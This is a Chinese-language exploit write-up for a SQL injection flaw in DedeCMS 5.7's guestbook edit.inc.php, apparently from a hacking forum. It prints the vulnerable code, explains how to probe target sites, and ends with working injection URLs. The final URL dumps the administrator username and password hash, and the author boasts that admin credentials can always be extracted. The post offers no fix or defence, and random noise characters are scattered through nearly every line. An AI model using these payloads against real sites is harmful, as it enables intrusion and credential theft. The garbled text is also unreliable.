影响版本为5.7& {0 l- N* v5 k/ ~* |$ t; R
+ ^' t5 c. b. p3 _% P6 B漏洞文件edit.inc.php具体代码:
9 k5 Z6 ]7 F$ Y: {2 C1 J4 G c+ E+ N2 F+ d
< ?php
5 k. Z+ f; Y0 G7 V4 \7 M0 E" C( D" I6 A- n/ A+ M
if(!defined('DEDEINC')) exit('Request Error!'); 9 P, i: ]1 [* _, a; `$ R% d
! H; h9 {: O4 x/ t" ?3 V
5 ], q9 J2 {: Y: ^+ a
4 v* _1 i, n B; B% f" N P, m( Oif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; , E) D2 g4 S+ l
! W/ a( a- J. ?3 `* @else $GUEST_BOOK_POS = "guestbook.php"; w6 z+ g9 u- [: m& J: w+ T3 H& N
2 f9 k$ W+ n0 @5 A. R9 I# _( A3 G
; A9 U8 p/ O) ?3 O7 u- J
$ ?/ c- p& r, J8 O/ M. N$id = intval($id);
# H) S5 K l( \" _% b! y" C# d$ k+ ]+ }
if(empty($job)) $job='view';
0 t& q* K5 e& v0 D3 ~# y( o7 h( ]
6 v+ N* ]! Z$ q: D+ E( i+ M, T
" Y8 g5 ~6 \+ I8 L/ \( |4 iif($job=='del' && $g_isadmin)
7 y/ r7 v+ q' i4 O$ K* g8 G- D. Z. ?* I& r
{ ( U& j0 }; I& |% O/ r' b( `/ I4 d
& N+ ?& }. W2 L r3 q/ {$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); * H) I d8 b) ^3 m$ |
0 z' u2 m# a; Q" ? U0 [7 jShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); ) L/ _* ~5 N% O! q+ P4 y
* M' V; r6 l" F5 S/ l
exit(); / A, E) K8 J" Q! r/ p& \
! Z# L2 l" v8 h B1 }# _% P
}
; K k! A; Y7 h+ y+ w$ d; w3 t1 q! S: G0 Q1 I4 y9 p/ S
else if($job=='check' && $g_isadmin)
7 t' q1 D/ `2 O g/ p5 ]6 ^7 i# l# T6 n" P. g6 _* T
{
2 j: `) R0 f" P2 K0 `9 T
9 ?5 u+ l! ]; S9 Z$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
- G1 m6 s# X: X0 K) g, w
4 J' D( R3 W! ~% h+ e, V3 ?& cShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); ; Q6 o n& \# A* f# k; ?' c
" X/ ^. @/ p: Q" j3 i# m, X& }% W1 ^
exit(); 6 R* p5 N; w2 U$ K$ z
) J' c! i9 Z9 y6 _
}
% @* y. E+ I+ A6 i
# U2 O) C" W, _3 Xelse if($job=='editok')
! P( w0 l" Q* O7 Q. L
/ l* F/ F, b6 X, E. U6 ]0 w. n5 T3 D{ ( Z: j5 L4 C1 g7 l0 e. N2 _& k; P
# l+ C- \/ K8 E$remsg = trim($remsg); , U$ ]6 Z3 b6 s0 J
( Y" ^4 c% Q. D5 K; Oif($remsg!='')
, X z( D2 y8 \
U% l$ v) U+ k( Z4 x{ , G$ F7 _* M* Z8 ^, k% ], K
, K( x P5 V1 w/ g' f( s3 f! I
//管理员回复不过滤HTML By:Errorera blog:errs.cc
% H+ d* U( X) N/ k5 R/ _5 _( D
9 s" }4 a2 ?3 i4 R5 m8 iif($g_isadmin) 5 I$ B& o; f, K; X. }1 E
$ k) N$ a3 f% k" Z |" t{ * D: {. b/ O4 T9 X( x4 m
# q# I2 a% e: m, [2 u$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; 6 F( P! O* L2 Y* P) [4 l2 P9 n
+ q. s- Z7 _+ f( o8 |
//$remsg <br /><font color=red>管理员回复:</font> } X% G2 P$ d C; I- F7 D
+ `# ^9 A" P& ?$ ]: Z2 s
else
- q. I' t" P/ c% F' A/ S0 L$ }+ M2 j3 ~8 u- P3 s# g
{
4 _, c! ^5 {% O- d, f. J4 j* X+ I2 n1 t8 ?1 ?; M7 m7 C: i
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
# h* d* F; A: v' C: Z- X
% V( Q- G( s, b, A+ n* ]" s$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
9 X2 ~: R7 N% X& e! M3 j6 |5 x2 a0 ^9 w: ?
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
: m! n" C2 u$ a' o; V' W$ w$ p* d9 P& f! ?0 P) G
$msg = $oldmsg.$remsg;
& |' J+ Q' z1 v+ N$ d
/ A% [9 S7 C: u- H. I% K* J( ^}
7 Y4 a# \9 S: G
4 T1 r% O( {- p: t1 _- }} 8 P: ~8 z6 S: B" B$ g
7 k8 G; P5 f/ X: I+ s5 {4 e: q8 W
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc 3 r4 c4 S+ s9 x/ N+ Y
2 X: X) L& P7 [ ^$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
7 F R5 s: g `( g, U
8 O e4 q+ C3 m& G) Z5 J, H @ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
$ E4 `; |+ a8 m* }
! ]) [5 B1 X( E9 Uexit();
8 L; O9 e- t, S" H' c) L& R" \$ {2 i, y# } ~
} ( D/ }7 m- S. p+ a
) |* r; Y; A) i& ], f1 L& H' K2 H
//home:www.errs.cc . N5 b" h( _8 D3 Q8 _& k: f
& p r& c9 v+ l% @% t A% g pif($g_isadmin) 2 n! a4 \9 [2 @4 g9 L+ X
: D3 j, z4 U* a/ k
{
! _" s$ W Z8 W8 v( m
e1 A& x' D* H2 G. C p$ d/ f$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); % J7 A- M+ C/ g t
1 w: `4 x2 R f# F
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); 2 T* J7 y7 w9 O) A; i: c" v; k
" c( r1 |6 I$ U4 o' o& R} % ]+ O4 {2 X @/ A* N7 a% C1 Z
, }0 c( x2 I/ _) N0 Xelse
E: Q+ t" o0 e7 C6 f$ `0 U+ Q8 i G/ u' |2 j+ U
{
r5 n4 @; K$ v) q1 s1 J0 R Y; F- j) @8 u# |# ]
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
7 j7 |* |2 R- p s& @' \: |0 b" W$ j. {" w) F0 h! }4 Z- g
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); * B1 g4 r' p" q. S# o
4 }! F7 O4 Y/ F% R' w3 D+ ~} 漏洞成功需要条件:8 m9 T. c1 ?8 c: ~1 q
1. php magic_quotes_gpc=off
. F$ Y9 i: T1 @* J- z3 A' d2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
. p6 w' d( G& A9 `6 o
6 h( ~; e5 b8 u' r- _ M怎么判断是否存在漏洞:
8 G3 T0 U% L- o. |先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
' K- j8 Y9 U) b0 |然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID4 g1 \) Z) J: ~+ p% S0 ~2 c; r+ r# B
访问:
4 f z( R- x$ ?! u1 u, F/ q" ]% }- s% n7 `5 p3 V
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了' ~* P$ k; Z( ?6 j
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证6 z: o) U) C+ \3 l: {
$ R# w9 X- R/ b5 y5 L. i# M. m3 g' \+ e
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
9 `4 A9 |. B3 ?7 E4 F3 c如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。/ C+ C Q( ]* _- Z* V
那么再次访问% ] u, r5 s3 w: V( L
7 G2 N! S2 J3 y! l0 swww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().! q; G9 }7 `$ Q
9 f8 C0 ]/ s( n+ o6 R1 l4 ~' f7 ~大概利用就是这样,大家有兴趣的多研究下!!- N, P8 S0 b" R( P! R# V0 Z) A5 A0 w
2 g; ^: L/ l+ ?( |最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
# k4 L2 D0 r: U+ E+ _, Q- c* s
/ S9 |5 _) q% X7 ?view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |